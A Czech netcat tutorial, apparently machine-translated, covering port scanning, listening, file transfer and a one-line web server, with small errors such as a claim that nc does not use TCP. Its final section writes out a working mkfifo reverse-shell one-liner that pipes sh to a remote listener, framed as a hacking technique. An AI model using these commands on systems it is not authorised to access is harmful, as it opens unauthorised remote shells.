Způsoby platby Abuse

K čemu slouží příkaz NC v systému Linux

29.08.2024, 02:19

Příkaz netcat je nezbytný pro odesílání a přijímání dat pomocí protokolů TCP a UDP. Nemá rozsáhlou sadu funkcí, ale pro kontrolu spojení a jednoduché ladění je dostačující. Jak komunikovat prostřednictvím protokolu TCP? Tuto otázku si klade mnoho uživatelů. V tomto článku na ni odpovíme a také si ukážeme příklady reálného použití příkazu.

Co příkaz dělá?

Příkaz netcat (nebo nc) je výkonný nástroj pro práci se síťovými připojeními. Často jej používají správci systému a vývojáři pro různé úlohy. Zde jsou uvedeny hlavní funkce a vlastnosti příkazu netcat:

  1. Navazování spojení TCP/UDP: umožňuje navazovat spojení se vzdálenými hostiteli pomocí protokolů TCP a UDP.
  2. Naslouchání portům: lze použít jako server pro naslouchání příchozím spojením na určitém portu.
  3. Přenos dat: přenáší data mezi počítači po síti. To může být užitečné pro přenos souborů nebo zasílání zpráv.
  4. Ladění síťových aplikací: slouží k testování a ladění síťových služeb a umožňuje odesílat a přijímat libovolná data.
  5. Vytváření jednoduchých chatů: lze nastavit jednoduchou textovou komunikaci mezi dvěma systémy.
  6. Skenování portů: lze použít ke kontrole otevřených portů na vzdálených hostitelích.
  7. Tunelování: lze použít k vytváření tunelů pro přesměrování provozu přes jiné porty nebo hostitele.
  8. Práce s proxy servery: lze použít k práci s proxy servery a k provádění různých síťových úloh.

Netcat je všestranný nástroj, který lze použít v široké škále scénářů, od jednoduchého zasílání zpráv až po složité síťové operace.

Možnosti

Začněme tím, že se podíváme na syntaxi a na ty nejoblíbenější:

  • -6 - použití protokolu IPv6. Výchozí hodnota je -4, respektive IPv4;
  • -h - zobrazí nápovědu se seznamem dostupných parametrů;
  • -i - delay - přidá prodlevu mezi odesíláním řetězců nebo skenováním portů. Nastavuje se v sekundách;
  • -l - režim naslouchání. Používá se se specifikací portu;
  • -N - uzavře spojení, když je při odesílání dosaženo konce souboru;
  • -n - práce s IP adresami přímo bez DNS, také vypnutí skenování portů;
  • -P - user_name - zadání uživatelského jména pro připojení k proxy serveru;
  • -x - address:port - zadejte adresu a port pro připojení k proxy serveru;
  • -p - port - zadejte číslo portu. Ve většině případů se port načte bez zadání parametru;
  • -U - použije doménový soket UNIX (pro meziprocesovou komunikaci);
  • -u - použít protokol UDP, ve výchozím nastavení se používá protokol TCP;
  • -v - podrobný režim. Používá se při skenování;
  • -W number_packets - uzavře spojení po přijetí určitého počtu paketů;
  • -w timer - zapnutí časovače pro omezení doby připojení. Nastavuje se v sekundách;
  • -z - zakáže odesílání dat. Používá se při skenování.

Příkaz má následující tvar (parametry adresa portu):

$ nc

Dále si řekneme, jak příkaz používat.

Kontrola portu

Kontrola je hlavním použitím nástroje netcat. Měli byste použít dva parametry -vz, zadat adresu a port. Můžete zadat i rozsah adres, ale v tomto případě je lepší prosít pouze otevřené porty příkazemgrep. Prověřme porty adresy místní sítě:

$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

Stejným způsobem prohledejme porty UDP přidáním parametru -u:

$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded

Měli byste znát hlavní rozdíl mezi TCP a UDP. V případě UDP jsou tedy porty vždy k dispozici.

Naslouchání portu

Parametr -l je určen pro naslouchání portu. Často to stačí, ale můžete zapnout podrobný režim:

$ nc -nlv 8080

Nezapomeňte, že při použití protokolu TCP musí být port volný, jinak se objeví chyba Již se používá. Ne všechny porty mohou používat běžní uživatelé, například port 80 (HTTP), s největší pravděpodobností bude obsazen jiným procesem a bude vyžadovat práva superuživatele.

Výměna souborů

Užitečnou schopností příkazu je výměna dat. Jednoduchým příkladem je textový chat. Chcete-li spustit chat na jednom počítači, spusťte nástroj v režimu naslouchání portu:

$ nc -lp 8080

Na druhém počítači je třeba zadat adresu prvního počítače a stejný port. Nezapomeňte také zkontrolovat, zda je port otevřený:

$ nc 0.0.0.0 8080

Tímto způsobem budete moci odesílat a přijímat zprávy. To znamená, že příkaz je určen pro výměnu souborů. Princip je stejný, jen je nutné přesměrovat výstup do souboru, konkrétně paste.txt:

$ nc -l 8080 > paste.txt

Na druhém počítači bude jako vstup sloužit soubor copy.txt. Není zbytečné použít parametr -N pro uzavření spojení po přenosu souboru:

$ nc -N 0.0.0.0 8080 < copy.txt

Pro přenos souboru je důležité dodržet posloupnost, nejprve otevřít naslouchání a teprve poté odeslat soubor. Příkaz nc je funkční, ale zdaleka ne nejlepší způsob přenosu souborů. Pro tento úkol existují efektivnější a užitečnější nástroje.

Jednoduchý webový server

Protože příkaz nc nepracuje s protokolem TCP, umožňuje odesílání i přijímání požadavků HTTP. Nástroj se tedy může stát jednoduchým webovým serverem. Ano, nic složitějšího než prázdnou stránku tímto způsobem neuděláte, ale operace vám nezabere téměř žádný čas a plusem je, že nemusíte instalovat nic navíc.

Na ukázkovém formuláři je odpověď HTTP se souborem index.html. Když už jsme u samotného np, je dobré nastavit časovač s parametrem -w 1, aby se spojení přerušilo, pokud to prohlížeč neudělá:

$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done

Chcete-li získat data z webové stránky, můžete vytvořit požadavek a odeslat jej na avizovanou adresu a port. Tento způsob je ale poměrně složitý, lepší je použít příslušný příkaz CURL.

Vzdálený shell

Na základě výše probíraných příkladů nebude těžké dojít k závěru, že příkaz umožňuje zorganizovat vzdálený přístup k shellu počítače. Dříve měl nástroj NC několik parametrů pro otevření přístupu k terminálu. Parametr -e byl z utility již dávno odstraněn, takže jednoduchý přístup k terminálu již nebude. Bezpečnost samotné aplikace se zvýšila, ale stále může pracovat ve spojení s jinými.

Ukažme si připojení pomocí pojmenovaného kanálu mkfifo. Nejprve začneme naslouchat portu na počítači, na který získáme přístup:

$ nc -lvnp 8080

Přejděme přímo k příkazu pro otevření terminálu. Nejprve smažeme starý pojmenovaný kanál(rm /tmp/f), na jeho místě vytvoříme nový(mkfifo /tmp/f), přečteme jeho obsah(cat /tmp/f) a na jeho výstup pošleme příkaz shellu (sh -i 2>&1). Poté zbývá spustit nc s výstupem do našeho pojmenovaného kanálu(nc 0.0.0.0.0 8080 >/tmp/f):

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

Mějte na paměti, že se jedná o jeden ze způsobů hackování, který však může být užitečný v případě problémů s ssh. Abyste zabránili útoku, nakonfigurujte bezpečnostní politiku a bránu firewall.